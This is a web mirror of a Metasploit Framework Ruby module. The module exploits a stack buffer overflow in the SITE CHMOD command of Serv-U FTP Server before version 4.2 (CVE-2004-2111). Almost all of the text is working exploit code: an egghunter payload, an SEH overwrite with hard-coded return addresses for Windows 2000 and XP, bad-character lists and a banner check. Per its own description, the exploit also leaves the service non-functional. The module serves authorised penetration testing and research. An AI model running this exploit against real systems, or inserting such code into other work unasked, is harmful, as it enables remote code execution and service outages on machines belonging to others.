CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/servu_chmod.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Egghunter
10
include Msf::Exploit::Remote::Ftp
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Serv-U FTP Server Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in the site chmod command
17
in versions of Serv-U FTP Server prior to 4.2.
18
19
You must have valid credentials to trigger this vulnerability. Exploitation
20
also leaves the service in a non-functional state.
21
},
22
'Author' => 'theLightCosine',
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2004-2111'],
27
[ 'OSVDB', '3713'],
28
[ 'BID', '9483'],
29
],
30
'Privileged' => true,
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'thread',
34
},
35
'Payload' =>
36
{
37
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
38
'DisableNops' => true,
39
},
40
'Platform' => 'win',
41
'Targets' =>
42
[
43
[ 'Windows 2000 SP0-4 EN', {
44
'Ret' => 0x750212bc, #WS2HELP.DLL
45
'Offset' => 396 } ],
46
[ 'Windows XP SP0-1 EN', {
47
'Ret' => 0x71aa388f, #WS2HELP.DLL
48
'Offset' => 394 } ]
49
],
50
'DisclosureDate' => '2004-12-31',
51
'DefaultTarget' => 0))
52
end
53
54
def check
55
connect
56
disconnect
57
58
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
59
return Exploit::CheckCode::Appears
60
end
61
return Exploit::CheckCode::Safe
62
end
63
64
65
def exploit
66
c = connect_login
67
return if not c
68
69
eggoptions =
70
{
71
:checksum => true,
72
:eggtag => "W00T"
73
}
74
75
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
76
77
78
buffer = "chmod 777 "
79
buffer << make_nops(target['Offset'] - egg.length - hunter.length)
80
buffer << egg
81
buffer << hunter
82
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
83
buffer << [target.ret].pack('V') #seh
84
buffer << rand_text(5000)
85
86
print_status("Trying target #{target.name}...")
87
88
send_cmd( ['SITE', buffer] , false)
89
90
handler
91
disconnect
92
end
93
end
94
95